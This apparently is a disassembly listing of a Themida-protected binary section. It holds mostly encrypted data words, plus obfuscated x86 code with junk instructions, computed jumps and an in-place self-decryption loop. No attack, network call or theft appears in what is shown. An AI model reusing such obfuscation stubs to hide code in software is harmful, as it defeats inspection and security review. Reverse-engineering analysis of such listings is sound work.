6EE57C49h, 0A1DB29D3h, 0AD9D4901h, 710BA900h dd 0C26950E6h, 324E9626h, 2A29D05Dh, 72FCF771h, 0BBEB421Ah dd 528FEF3Fh, 2AED27A8h, 1CCAD85Dh, 0BB2973C9h, 42C61495h dd 49BEEDFh, 9E067F6h, 51F573D5h, 0C07F17D4h, 3D20F585h dd 322006B7h, 33900E36h, 0CB080136h, 2401B41Dh, 0BE64079Eh dd 320FE8EEh, 6FD40136h, 214EDF64h, 7DEA3CB5h, 0A6281458h dd 0B607059Eh, 320400E2h, 0B114EEB6h, 9A16248Bh, 0B68F0130h dd 32400141h, 0DA75015Ch, 32100135h, 6FCB5C16h, 36206DBFh dd 362645B7h, 3201012Bh, 0F2435473h, 63D6D21Bh, 1FCA8E41h dd 3217E813h, 0CFAC0136h, 82512696h, 0DB626173h, 32010124h dd 5A315B6Ch, 0B9DBB93h, 0CCE250EDh, 0B4C6B7DCh, 8D07ACB2h dd 0B96260C6h, 5FEB60C4h, 58010137h, 31685336h, 12400136h dd 0BB7AC26Ch, 0B3142562h, 270C2572h, 70040136h, 0E2F9C264h dd 62FF8A50h, 3609DEBDh, 8BD58812h, 3D26A923h, 0CC344D37h dd 28D19405h, 0BB5C079Eh, 9A28D4A3h, 0F5806730h, 0F2031720h dd 8FD5881Ah, 0B926A926h, 395883Eh, 540EA93Bh, 58F849BDh dd 31EA5336h, 12010136h, 0BBDAC26Ch, 0B3442562h, 25242572h dd 70100136h, 43AC264h, 8D0B6569h, 0B8367C6h, 0B60EFE00h dd 3280019Dh, 1019BCBDh, 0F3A3079Eh, 64106B3Fh, 320802DEh dd 0F15A2136h, 16768868h, 16458032h, 32801C32h, 0F1164736h dd 9345794Dh, 0EB5C91DDh, 0CA8342FCh, 3DED38B6h, 3202AEB3h dd 4BB43036h, 0B986A931h, 322A0077h, 3223E963h, 6F300136h dd 5E815CF5h, 76850512h, 321E0512h, 67440136h, 600536F5h dd 34E8D20h, 0BF09AFBDh, 34B807B7h, 31F38A50h, 8C62F8FEh dd 0F38189C7h, 63016B33h, 328002DEh, 0F1192136h, 166C886Fh dd 16548032h, 32081932h, 0F1554036h, 2D4F18D4h, 0A23880ABh dd 3D0B427Dh, 324042B3h, 4F952836h, 0BF16A916h, 9A47AEBBh dd 31BCF930h, 58020136h, 31E95236h, 12800136h, 0BB1BC26Dh dd 0B324256Ah, 2B142572h, 71080136h, 33CBC265h, 7CD90159h dd 67D8BE50h, 3349BC3Fh, 0D3BF079Eh, 0C65BBF50h, 321CE857h dd 0DD930136h, 0F4A3A1Dh, 3E5CBFD1h, 8F8C42B2h, 342D38B3h dd 9F98CBBh, 4698079Bh, 11193B5h, 9A0D8CB3h, 0F3CB2A30h dd 3D2003DFh, 322006B7h, 33900E36h, 0CB080136h, 2401B41Dh dd 0BE64079Eh, 0E983E8EEh, 8BA4F305h, 79BD8BC0h, 2B06A809h dd 0A815899Dh, 0E9C38B06h, 0Ch, 1FB17B57h, 2 dup(0) ; --------------------------------------------------------------------------- jmp loc_59DB80 ; --------------------------------------------------------------------------- add esp, [ebp+ebp-67h] sbb ss:[esi+ecx*8+65h], ebx retn ; --------------------------------------------------------------------------- db 8Ah dd 0BAFF933Ch, 0EFA2C36Ch, 759DDC5Bh, 0A20D99D4h, 0D679CD80h dd 8ABFFB6h, 0E9E2C65h, 126EAADCh, 1654B605h, 155CFF29h dd 276E0EF1h, 9477A1FAh, 0A2E6204Eh, 60AF57D7h, 0B1E913B7h dd 93AF57D6h, 8EAF70B8h, 0B9DC47C3h, 77850711h, 4FF9D3A5h dd 0AF581A4Bh, 4C251E39h, 561F3EE7h, 7E3B58C9h, 48E94231h dd 0DF6B2241h, 6D99D074h, 97CBE7EBh, 1D40AB29h, 573D7B54h dd 0E58948ECh, 0B96AB7A0h, 0CD36D499h, 0E484E5A0h, 811700ADh dd 0AAE38122h, 50F89C05h, 0E36BFCEBh, 1499721Bh, 0F180219Eh dd 703CE5CEh, 0D278B0CAh, 0E14AAF58h, 0D44E8B7h, 0F37716B9h dd 58D25149h, 0B5F517AFh, 8FAF58D1h, 0DD0922A4h, 58D26FABh dd 1FA55AFh, 0EE18469Ch, 0AF58D1AAh, 0EF79BF98h, 0AF58D1A8h dd 1E1C8512h, 12DF2D22h, 5B236BEDh, 0E1E85253h, 4085B7h dd 0FF9E0000h, 4E88155Ch, 0AF57D748h, 7E7C25B2h, 12DFD682h dd 965h, 0F3947F00h, 625B1236h, 52FFED36h, 74198A17h, 1F33EC31h dd 8D7ED55Ah, 35701D24h, 662F4EF1h, 0BFD93A20h, 0B8F595F6h dd 5EFF2B70h, 78158E13h, 22FF03Dh, 2549DA47h, 420BC360h dd 9A61307Eh, 3BE4D1F0h, 638955BCh, 5852E1D9h, 0EAA3C2AFh dd 0B9925445h, 52BFFB0Dh, 0AA85AF58h, 50C950Eh, 7BFD2964h dd 7286111h, 9D87B04Ah, 0D2388216h, 0DDE09D98h, 2A8E67EFh dd 2AFE685h, 0B25A92E4h, 0CC032D18h, 64A5C36Ch, 8218EC3h dd 452E921Fh, 0C712DEDCh, 793512DFh, 0E000000h, 8E135EFFh dd 0F53A7315h, 0D9460B2Ch, 0C26F2A48h, 0D7A6E224h, 0B39CAF57h dd 0EE6D36BDh, 0B55DE4Fh, 0D85F5BEDh, 0A25AF57h, 2D6001AEh dd 95153699h, 57D83773h, 49220DAFh, 0D510329Dh, 0A300F9B4h dd 322B6202h, 0F69C05E6h, 218A6EB3h, 8BBA3C80h, 0CABCB98h dd 0AE4AEE4Ah, 0A912DFDEh, 50h, 135EFF72h, 3E77158Eh, 4BD4DFF1h dd 0D86E2344h, 0F8BDD132h, 0ED3662BBh, 0FC9F52FFh, 9757DCB5h dd 0AF57D790h, 0FB387113h, 0DF44092Ah, 0D6C1F903h, 0A883AF57h dd 94238C29h, 2E43ACDAh, 3D5DC66Bh, 0BA118770h, 0D60DF9F9h dd 1E812DFh, 33000000h, 0B5A930BAh, 38474385h, 123DAF58h dd 156986D8h, 0D47C1C83h, 82C44E6Ah, 0AF589F86h, 191BD37Ch dd 0F72EB819h, 1C266798h, 0CE57DCB5h, 0B6B9E6AFh, 0EB8D941Dh dd 71A364A2h, 54F61CCAh, 0AF58D154h, 4993052Eh, 0DD9C3Fh dd 60CD66B6h, 51D59CBFh, 0DBE74FEEh, 0FFDE9B20h, 0DF1F847Dh dd 0B600EDD9h, 2E913F25h, 7CBC460Fh, 27B600EEh, 91BA4C05h dd 0FC03AC07h, 298A1059h, 3CA7430Ah, 0DDCE5316h, 9172E85Bh dd 2677BCF1h, 470E2DF2h, 35FE57DAh, 0C0460F2Eh, 76C17854h dd 1209F14h, 7E610000h, 1A0197DEh, 0D80EB5E7h, 723AEh dd 0E936E1B6h, 0CE5C1538h, 228FC665h, 6ABE281h, 82892A83h dd 0DA7C67E3h, 0E9110A97h, 0B60006B1h, 450C3093h, 8737736Ch dd 1477E6ABh, 3872h, 0B6E7D500h, 4DADDF0Bh, 372F57D7h dd 5357971Ch, 452F57D7h, 5910349Fh, 0FE55C3D4h, 3A853635h dd 8E38668Ch, 2F57D78Ah, 8F59DF78h, 0AF57D76Bh, 27A8FE59h dd 0AAh, 0EB5E702h, 0EE14B2D8h, 57D75C5Ch, 0C50D26AFh dd 0AF57D6C5h, 33761CBFh, 7508DE5Ah, 4FB6000Ah, 0BDDDC6E4h dd 3E7AB3F0h, 0D16B914Dh, 0B60009D9h, 872880ABh, 0B619ADE4h dd 8951DE97h, 0B6000B8Ch, 2B32F3F8h, 0E1A4C908h, 0AB09B208h dd 264CEA10h, 0B4A4EF8h, 1F38B600h, 0AB3F7h, 72A691B6h dd 0AD469BF4h, 0C1624DBCh, 0C1E22C8Ch, 0DB7AEBA2h, 0AB74B992h dd 9D5CC188h, 0DC706F30h, 0D3254367h, 7E79D9F9h, 8BAC1D6Dh dd 0E84059C6h, 5ABC011Eh, 0FB9E7C3h, 0C35ABC0Bh, 34DA5EF9h dd 0BC74B4D6h, 6D4EC35Ah, 0B5AE87CEh, 0B5E74A71h, 8B2D80Eh dd 0AF57D710h, 15DF59F2h, 5129EF3h, 66CB64B6h, 814A7EF8h dd 2FBA9008h, 4E072689h, 0F10A5E98h, 6520F548h, 60539C23h dd 9206FF47h, 42E1C228h, 0B1AAEF83h, 5454F66Ch, 2EB605A6h dd 238C2C05h, 7EE44900h, 0A672B6D0h, 0E750B605h, 0E11EB7B1h dd 0C6B7CF21h, 7E37565Dh, 0A0982248h, 62CF21E1h, 0AFEB1DC9h dd 95CF21E0h, 6E947EBAh, 7B85FBECh, 3D7BD8DCh, 6C9AD372h dd 158484C6h, 0D57ECF22h, 133FE043h, 0AD06C956h, 175EFD04h dd 440D3093h, 1466DFh, 0B0410000h, 0B86AEC0Ah, 7A59A6AEh dd 72DADEF8h, 8FA8AF58h, 58FF0229h, 70138C11h, 92BF439h dd 2042E340h, 3E5FC06Dh, 0D4752E73h, 0E78B1499h, 84A47DA2h dd 92BF60CDh, 50FA4AD7h, 4055854h, 83000000h, 48704E8h dd 6A685C24h, 8900001Bh, 0F568243Ch, 8900000Bh, 6853241Ch dd 6F5335E5h, 83241C8Bh, 0C38104C4h, 1086279Fh, 18DC381h dd 0D3F72BF8h, 9B0EC381h, 0DF89B27Eh, 2FED685Bh, 24890000h dd 24048124h, 4, 4EC835Bh, 89242C89h, 86B89FDh, 241C8B5Dh dd 81E18951h, 4C1h, 4C18100h, 87000000h, 0FF5C240Ch, 835F2434h dd 53E904C4h, 38FFFB3Ch, 41D8AA91h ; --------------------------------------------------------------------------- loc_59DB80: ; CODE XREF: Themida_:0059D604j mov eax, 6AD40EEh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 91h, 0EEh, 96h dd 34A0EC62h, 0EA532E72h, 8A5F5C15h, 0B918D562h, 0E3B02861h dd 0A97FCE79h, 0D1608369h, 0B26C8E28h, 0E76F4C7Ch, 3162FF19h dd 7D2AFC69h, 68973A0Ah, 6257F06Ch, 73525B7Bh, 12C3A921h dd 9558CC60h, 97AFB21Ch, 0DD5E5108h, 0FE57DB1Fh, 82E30948h dd 0C0BA0E47h, 0C67C46Ah, 2090C76h, 0D3578A74h, 23168106h dd 33322E47h, 0AA9C9F5Ch, 0AD33853Eh, 8BA20A39h, 1AE6F131h dd 0BE8D8D12h, 6A06AD42h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 9486C356h, 1E04038Bh dd 0FA9B7C3h, 0FE9C3B7h, 18000000h, 97BC2317h, 0B18B3204h dd 76039DCFh, 8D8946D6h, 6A805B9h, 6860Fh, 0B5010000h dd 6A83229h, 146985C7h, 746C06A8h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0BDF347C3h dd 9F59AD0Ch, 3554D281h, 85C70F51h, 6A80BBDh, 0 ; --------------------------------------------------------------------------- pusha movzx edi, cx jns loc_59DCA4 mov esi, [ebp+6A80D39h] loc_59DCA4: ; CODE XREF: Themida_:0059DC98j popa mov ax, bx push dword ptr [ebp+6A82A11h] mov bx, 90D2h call dword ptr [ebp+6A820DDh] mov [ebp+6A810F1h], edx js $+6 push 0 call dword ptr [ebp+6A81B31h] mov eax, eax jmp short loc_59DCDD ; --------------------------------------------------------------------------- dd 0C7C1FDB7h, 0EFD7BEBEh, 0A43D4D77h db 0E6h ; --------------------------------------------------------------------------- loc_59DCDD: ; CODE XREF: Themida_:0059DCCEj call near ptr sub_59DCF1 push esp inc esp mov al, 0DAh dec esi scasb cmp eax, 0EE194587h lodsd adc ebp, [eax] in al, dx ; =============== S U B R O U T I N E ======================================= sub_59DCF1 proc far ; CODE XREF: Themida_:loc_59DCDDp mov [ebp+6A819DDh], esi pop esi or dx, 7C12h add esi, 5B35h adc dh, 47h mov edi, 0 or [ebp+6A814C9h], edx loc_59DD11: ; CODE XREF: sub_59DCF1+99j mov eax, [esi+edi] movzx edx, si add eax, 3E89B8B4h mov ebx, ecx add eax, 34C175A0h sub ebx, [ebp+6A8215Dh] add eax, 72676D74h mov ch, bh mov [esi+edi], eax mov dl, 5Bh mov dx, si sub edi, 1A1A6685h cld add edi, 1A1A6681h jmp loc_59DD61 ; --------------------------------------------------------------------------- align 2 dw 669Bh dd 0C4EE3E64h, 0FBA2216Ch, 2B75C4BDh, 0CF3CFCA9h db 7Eh ; --------------------------------------------------------------------------- loc_59DD61: ; CODE XREF: sub_59DCF1+57j cmp edi, 0FFFFA580h jnz loc_59DD87 mov edx, 2C2AF22Ch jmp loc_59DD9B ; --------------------------------------------------------------------------- db 0CEh dd 6FC4BF4Ch, 0BDAF8C0Dh, 0D978BF10h db 2Eh, 27h, 43h ; --------------------------------------------------------------------------- loc_59DD87: ; CODE XREF: sub_59DCF1+76j adc bl, 0A2h jmp loc_59DD11 ; --------------------------------------------------------------------------- db 0E3h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- test eax, 0ACF28DCh mov bl, 19h fdivr qword ptr [eax-34h] loc_59DD9B: ; CODE XREF: sub_59DCF1+81j jmp loc_59DDA7 ; --------------------------------------------------------------------------- dd 6D6E87EDh db 3 dup(0) ; --------------------------------------------------------------------------- loc_59DDA7: ; CODE XREF: sub_59DCF1:loc_59DD9Bj jmp loc_59E2D2 ; --------------------------------------------------------------------------- dd 2A703960h, 65A1E489h, 53D79EBAh, 830742F0h, 0F4327F20h dd 0A7C84A6Fh, 53F35CEAh, 527881Eh, 3655FE4Ch, 0A9B32B7Fh dd 51A1B1Fh, 84A3E9B6h, 88155CFFh, 54F67617h, 0AF57D754h dd 0FE2C052Eh, 0FE3A7315h, 0C188AB14h, 0E9A0C35Ch, 0F3B6DB44h dd 0FF57F5AEh, 189E9BE0h, 61CEA7BEh, 4ED39EC0h, 0BEFDB8D5h dd 0EE1864CDh, 0AF582EAAh, 57C6BF98h, 41082C97h, 0ACB37CD7h dd 0D97AC089h, 94D97ABBh, 0E1251E0Fh, 0CA571E3Eh, 0FB93959h dd 0AF582F0Bh, 41ED5EF9h, 1D862B04h, 36EF3471h, 13D65B12h dd 577AF9BAh, 0CD84A40Fh, 0AE13760h, 682A2A9h, 582EC4C4h dd 0BC95BEAFh, 0C803CC0Eh, 61454A73h, 2E9F88CDh, 6ED44401h dd 42EFA6C5h, 58A87DB8h, 47E8CFAFh, 0DF075F4Bh, 2D9612h dd 2447D845h, 0FED7C06Dh, 6198BAh, 0FFA30000h, 6AAED85Ch dd 39AF57D7h, 0B893531Ah, 5E8462CFh, 57D6EC2Ch, 159CD6AFh dd 606345EDh, 499F19F2h, 0AF588D4Fh, 2A0D4FBDh, 738F28EAh dd 8456F5CFh, 27B1984Ah, 99991AF1h, 12DFB3ADh, 148h, 52FFD300h dd 74198A17h, 1F33EC31h, 8D7ED55Ah, 35701D24h, 0EE2F4EF1h dd 819A074Eh, 0FF3512A8h, 0CF7135Eh, 0C48DAB66h, 0F4554E5Fh dd 83941950h, 40EDB615h, 6B079805h, 5E49812Eh, 84301C5Bh dd 773E5ECFh, 941D962Ah, 9011BA05h, 61A5E889h, 49D69FBEh dd 0CDF9B0D8h, 0A4094CE2h, 0E2462573h, 0BAF79778h, 1FF42475h dd 1AACCA96h, 0AF58691Eh, 7ACE985h, 3D7BD416h, 0DF467D79h dd 9A9812h, 81620000h, 4E0725E0h, 59DFC8E1h, 3459BA52h dd 0D7782771h, 0EC8C159Ah, 0FF9E01A5h, 0F83069B6h, 7233A80Bh dd 0A41FAC2Eh, 0DAD23B5Fh, 0FDB0D15Eh, 3D6043A9h, 0BAFE2F74h dd 941954F5h, 89300C4Eh, 0D1D2422Eh, 0FFBAD847h, 1F1BADCBh dd 0EDAF581Bh, 0C1DAAA9Ch, 0A58E50C0h, 5B309073h, 821CD8DAh dd 4C3B12DFh, 0CD000000h, 4550158Bh, 4EEA784Bh, 135EFF65h dd 0AA670CF7h, 4A63C085h, 0BB64C751h, 0AFEB1D99h, 95AF57D6h dd 2C5CC1BAh, 0B6D7DE47h, 5B8DCFFBh, 0B67F1B18h, 0B309A1Eh dd 8A1752FFh, 57D74540h, 7F20B7AFh, 0DFD68773h, 16612h dd 0FFB90000h, 12931059h, 0D89DB273h, 4DE142EFh, 58FAAB08h dd 0AC098815h, 604D7403h, 0D990B8BFh, 0E15AFA4Dh, 0E42883C5h dd 311AB5FFh, 591033ECh, 47C362CDh, 0FFE40505h, 0F354FFB5h dd 99921F52h, 0BDFB03A0h, 9B5FFE3h, 5BFA01A2h, 82B9412h dd 183AA541h, 59DFC855h, 531A39EAh, 7F3655CEh, 9DD07132h dd 7B249110h, 773895FCh, 0E0A5CA35h, 61CE6A43h, 9F3F8BC2h dd 1477DBA3h, 1264Ah, 30BADD00h, 89B846BAh, 0BA14C999h dd 66CC2BA3h, 0DA7ACD6Bh, 0C0034561h, 82B600B6h, 0E54A0321h dd 0AD2FDBB4h, 714F390Fh, 0FD9F0063h, 5B8764B4h, 1E9AD778h dd 6FBBF291h, 4BE8A1C4h, 0ADF2BBDAh, 0D9E041EAh, 7B7F3BAh dd 1477652Bh, 5FF2h, 30BA5500h, 46AF97AFh, 0D274D57Ah dd 2D8E199Fh, 0B6D27492h, 8C2F5872h, 0F99C07A3h, 438B78B0h dd 2F587347h, 29763B5Ch, 159AD778h, 13812299h, 231BB35Bh dd 7DD9B269h, 0ED4E5DC6h, 0F612B452h, 0E8AF5883h, 8B2D6407h dd 8FC66245h, 8A100922h, 8484C66Ch, 7EAF5884h, 78FC43D5h dd 0DF000000h, 0D80EB5E7h, 7A3351B2h, 0A55283Eh, 42FB600h dd 2E67069Fh, 3F7A17F8h, 957FB9F2h, 0DD420B2Ah, 0B181Dh dd 0A60F64B6h, 1B3DFC9Fh, 0E3DCCD52h, 83B0E4A7h, 17B3ACE5h dd 0AD4E44F5h, 88153EBCh, 0F03D7417h, 0DF440D2Fh, 4DC1F903h dd 0A883BCADh, 0D15E1B37h, 0EC6B34BFh, 65278825h, 2E58D87Ah dd 0BCAD4DEAh, 19867FD8h, 0BD1FA800h, 0F1A6E006h, 0D3C35A91h dd 0E7052278h, 0AED80EB5h, 0B6051AF9h, 0A47E8CBh, 70138C11h dd 944B8D39h, 252EC2FFh, 3EE16BCDh, 1C9561Fh, 21C996D8h dd 9CA30CF9h, 8C6AB0F9h, 4FEE0F4Ah, 0C7512DC2h, 377C3558h dd 1885C06Eh, 6933FCD9h, 7ACE986h, 0CB868BF7h, 0FF8EE59h dd 0F1C181F7h, 1976908h, 70B6FF9Eh, 0C1E5ACCFh, 8429619Bh dd 0B81B21C9h, 5851DE9Bh, 0E95AC96Fh, 0Ch, 0C00AB0CCh dd 495D321Dh, 5B40E81Ch, 8C1158FFh, 0F4397013h, 0E340092Bh dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh, 60CD84A4h dd 4AD792BFh, 66E968FAh, 4890000h, 0E1895124h, 4C181h dd 0E9810000h, 4, 5C240C87h, 68240C89h, 68CDh, 53243C89h dd 0A00314BBh, 31F3815Ah, 0C10EA36Eh, 434306E3h, 0EB81E3D1h dd 0FB094EE5h, 1C8BD989h, 4C48324h, 243C8B54h, 4C481h dd 0BA520000h, 8, 0A89FA01h, 8324148Bh, 34FF04C4h, 0C4815F24h dd 4, 592434FFh, 0E904C483h, 0FFFB3506h, 3599186Ch, 0E276E705h db 0F1h, 0E9h ; --------------------------------------------------------------------------- loc_59E2D2: ; CODE XREF: sub_59DCF1:loc_59DDA7j mov eax, 6AD4844h add eax, ebp jmp eax sub_59DCF1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0E1h dd 0FA5C38DBh, 0A92E01C6h, 8D34AC4Eh, 0C71E5019h, 0FA30D107h dd 5F1C1ED4h, 98782CB8h, 4451F26Eh, 34300345h, 0DA66F6B1h dd 0BA3D9C8Fh, 9C23FC3Dh, 0C83D36BBh, 8D0FFC45h, 0F04C821Ch dd 341D1230h, 0E612923Dh, 0FD476BB3h, 7A795AD6h, 0EE20506Ah dd 4853E689h, 6C4C420Bh, 651EAA7Dh, 0AD3BAD98h, 987BAEE5h dd 0E22F6BB8h, 0B30676E3h, 0DE5C352Ch, 0D4D4712Ah, 1DC4B46h dd 0D4C8557Fh, 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah dd 333033E6h, 0FFB44E60h, 0F867A5E4h, 0A03029A6h, 3AE9A3BEh dd 79672098h, 0C12DA3BAh, 0D71B209Bh, 33302652h, 831D2933h dd 0C0982633h, 0BD168B6h, 0D6157635h, 0AF356F73h, 610DD963h dd 839E8E26h, 35982664h, 1F152359h, 4B356F63h, 0E61DAB63h dd 39E8B7Ah, 0B351B3CCh, 1493209Bh, 6AA1A23Ch, 0B0152633h dd 9C356F63h, 4DAACE63h, 0F6D82633h, 1ACEA3BEh, 24C8209Eh dd 79D176B6h, 0FF677635h, 33300406h, 1794E2B0h, 0E0D176B6h dd 23157635h, 55356F73h, 1C0DD963h, 3D9E8E26h, 6A982651h dd 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h dd 2C97260Ch, 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h dd 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h, 0D49BCF33h dd 896F2633h, 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh dd 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h dd 9C356F0Dh, 7EBABBEh, 9320209Eh, 78000000h, 271E7FCh dd 0C8D00731h, 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 6AD4A73h dd 4A928D8Dh, 0CF2B06ADh, 8B05E983h, 0BCDDC2C8h, 0BCB4B962h dd 0E797A831h, 0E03E0FF2h, 0F8362E15h, 0BCAC1115h, 0EFF48A31h dd 40A107F2h, 0B2590A52h, 6C085ED2h, 7C3C1084h, 0BD1A83B1h dd 14866384h, 650A9637h, 0BCB1222Fh, 1344C44h, 0BA1F8FD8h dd 0ECAE2531h, 4772362h, 0BCB75032h, 0BB02AFB8h, 213A1399h dd 0BA1D2B9Dh, 0E4EC96CEh, 915E1FB2h, 0C8B75799h, 4E4F826h dd 0BCB75032h, 0BB02AFB8h, 213A1399h, 0BA1D14AAh, 0E4EC96CEh dd 0A52A27B8h, 0BCDD5799h, 0BCB44067h, 0E2975431h, 0C83E74F2h dd 0F8361115h, 0BCAE8E15h, 0EAF14531h, 2CCDF5F2h, 0BD90B114h dd 14BD75B4h, 0DC77DF37h, 0B506AF30h, 0ECD61399h, 0DAEC40BAh dd 0BB89DBDh, 0B3B30AE6h, 0BCB327B5h, 0ECB7C231h, 0BCB757D9h dd 7FEF0A31h, 98F39C69h, 98F30B35h, 0BCB75F35h, 7FE7E231h dd 2E465FAh, 55577123h, 0BCB75434h, 100EAF1Dh, 990A969Eh dd 0BCB12226h, 0BCE0C13Eh, 0BCDDA231h, 0BCB4B967h, 0E297A831h dd 0C83E0AF2h, 0F8362E15h, 0BCA31115h, 0EAF18A31h, 3DB8D2F2h dd 0BCB7A234h, 21219D8Eh, 0B8A64136h, 0BCDD5431h, 0BCB4C264h dd 0E1971531h, 0D03ED7F2h, 0F8364115h, 0BCA0A615h, 0E9F25131h dd 0B1178BF2h, 0BD0A7796h, 35B18205h, 14BE04A4h, 9BB73437h dd 0BCDD4731h, 0BCB44A60h, 0E5975131h, 0F03EF1F2h, 0F8365015h dd 0BCA32E15h, 0EDF61531h, 313CFEF2h, 0BA1F5FE0h, 0B75A1FBAh dd 393A5799h, 0BA1C2A82h, 3958D557h, 0BCB9C3FBh, 0CD731531h dd 0FE75A778h, 0C9A1E832h, 0BC7B75E4h, 7C3281CEh, 0BC552C3Eh dd 7D15431h, 84360992h, 47367366h, 0BC8F0F3Eh, 0BCDD4531h dd 0BCB44A67h, 0E2975131h, 0C83EF6F2h, 0F8365015h, 0BCA02E15h dd 0EAF11531h, 0F0D356F2h, 0CE0C237Ch, 453CC4E5h, 0B8CFD057h dd 38B8AA33h, 0BCB75749h, 9AEABFB8h, 3DD11399h, 0B3D71609h dd 0BCB7CAB4h, 0D200C231h, 0F974EE57h, 0BECF2850h, 0C1325BD9h dd 0D6B72A31h, 0BF5F4431h, 9CB78A31h, 35EE8668h, 3DB3867Dh dd 0A8B37575h, 0FDB7A831h, 0B79A9760h, 14BB17ACh, 0C4367337h dd 0B31C8A37h, 0BCB70AB4h, 0ECB7C831h, 0BCB752D9h, 7FEF8831h dd 98F3DD69h, 98F3AB35h, 0BCB70235h, 7FE7CA31h, 74C4D77Ah dd 0BC8E3F18h, 663C5799h, 0BCB553D8h, 0EBB73E31h, 0BCB729D9h dd 7FE83531h, 98CB036Eh, 98F3C435h, 0BCB7BA35h, 7FE01631h dd 6F905678h, 74005B61h, 0BDB62A8Fh, 0EAB77F77h, 0BCB789D9h dd 7FE96531h, 98C32B6Fh, 98F3D035h, 0BCB7B235h, 7FE11231h dd 31251FA5h, 31320173h, 173539B4h, 0EBB72F37h, 0BCB7A1D9h dd 7FE87131h, 98CB216Eh, 98F3D535h, 0BCB73D35h, 7FE05231h dd 0FA8FFDC5h, 31BE95CEh, 0BA1FADB4h, 7030FE8Bh, 0B3772D0Eh dd 0BCB51AB5h, 0EEB74031h, 0BCB716D9h, 7FEDAA31h, 98E3CC6Bh dd 98F32335h, 0BCB74635h, 7FE5EA31h, 0DFCE3EA1h, 91020351h dd 0B3B1BD31h, 0EBD67186h, 0D73BC58Bh, 8436FB7Dh, 0BEB56C57h dd 0BC832D3Eh, 37D15431h, 0BACFABFFh, 0C6E82857h, 0BE9D0E3Eh dd 0BCDD4531h, 0BCB44A62h, 0E7975131h, 0E03EF3F2h, 0F8365015h dd 0BCAB2E15h, 0EFF41531h, 221E87F2h, 4023540Dh, 3DD1CCC8h dd 0B3D7CD09h, 0BCB7F3B4h, 393A7D31h, 3CB1821Ah, 0B35F1749h dd 0BCB7C1B4h, 0BA334A31h, 37B7A231h, 14A134A4h, 0C436CE37h dd 0B3775437h, 0BCB719B4h, 0BC3D1A31h, 55B78A31h, 0BCB744F9h dd 54E7A25Bh, 0BCB75132h, 0E474F011h, 0B89310B8h, 0B8936EB0h dd 0BCB71525h, 9F74DA71h, 8D2EC8B8h, 33B8A499h, 0BCB75131h dd 0BDB6A88Fh, 0EFB73E4Fh, 0BCB729D9h, 7FEC3531h, 98EB036Ah dd 98F3C435h, 0BCB7BA35h, 7FE41231h, 0A3B6776Ah, 250ADF50h dd 31B18236h, 1735A6B4h, 436F0137h, 0BCB8ACE1h, 4E08A231h dd 1B79158Bh, 0F8EF4861h, 0AEC7A945h, 7C32D6BAh, 0BD92913Eh dd 0BCDD8A31h, 0BCB4AD64h, 0E197A231h, 0D03E0CF2h, 0F836AC15h dd 0BCAA5015h, 0E9F22A31h, 7CEE31F2h, 30B156EEh, 49BEECAFh dd 0B35F9AB1h, 0BCB720B4h, 0BCBB4131h, 0DFCB5431h, 0A061B619h dd 0F74BAB24h, 0C437DA12h, 39B83634h, 0BCB7A267h, 54E6515Bh dd 0BCB7A832h, 0E5740D11h, 0B89366B8h, 0B89351B0h, 0BCB78A25h dd 96741470h, 0BE7E37BAh, 0C4375799h, 38B8FB36h, 0BCB754E9h dd 54E72A5Bh, 0BCB71532h, 0E474D211h, 0B89301B8h, 0B893E6B0h dd 0BCB75127h, 1B74F871h, 313C4E3Fh, 0BA1F35D0h, 0AAE6A8B8h dd 3DD18C99h, 0B3B2CA09h, 0BCB7D8B4h, 319C3131h, 0BA1FB6E0h dd 0BACFD450h, 0D4322559h, 0D6B71531h, 0BF5FDD31h, 9CB74531h dd 35E8616Eh, 3DB3754Dh, 0ABB38C75h, 0FBB75431h, 8976E966h dd 0B55E890Ch, 1B78A31h, 0B5D11366h, 0F79B2C12h, 0B7CFD057h dd 39B88DCEh, 0BCB7541Eh, 0ED5EFEBBh, 0D6B71531h, 0BF5FDD31h dd 9CB74531h, 35E8616Eh, 3DB3754Dh, 0A6B38C75h, 0FBB75431h dd 0DBC3E966h, 48329CEFh, 7D2A03DEh, 97B1ED02h, 779018F1h dd 945E589Ah, 55B7A831h, 0BCB75422h, 0ACA385FCh, 0DDB87EFDh dd 0FCF9DE35h, 0E3018099h, 7F031D5h, 0DD4B20B8h, 0BCB7A989h dd 212A7D31h, 0ECB18228h, 6D14761h, 8DB82398h, 0DD70CE51h dd 0B83EFA6Bh, 6C3C3715h, 0F62315BCh, 313A529Ch, 0BA1A7A06h dd 0DAE23689h, 0A9328946h, 97B1ED24h, 0B6A88FFEh, 0B73E4FBDh dd 0B729D9EFh, 0EC3531BCh, 0EB036A7Fh, 0F3C43598h, 0B7BA3598h dd 0F305E983h, 816658A4h, 1112DC7h, 0A8299195h, 0FC00B06h dd 8D84h, 0AFB58D00h, 0E906A84Fh, 0Bh, 0CBA7FF3Dh, 20220DFDh dd 8978B580h, 0A807718Dh, 3B806h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0AB6E4DC3h dd 0C9D30E9Eh, 0AE9h, 500FF400h, 8D1147D8h, 8045DFBFh dd 0E6FFE3EAh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 0A1C35040h, 34E7A33Ah, 2A06D25Fh, 68F0Fh dd 0BD890000h, 6A81DD1h, 0BE5BF781h, 6A4052D5h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 0C535C353h, 17BFC08Bh, 83195BA1h, 0A81ED9BDh, 9750006h dd 2DE9BD83h, 740006A8h, 8B535019h, 403B8C0h, 85890000h dd 6A80FD5h, 0A2139D8Dh, 0D3FF06AAh, 0BD83585Bh, 6A82DE9h dd 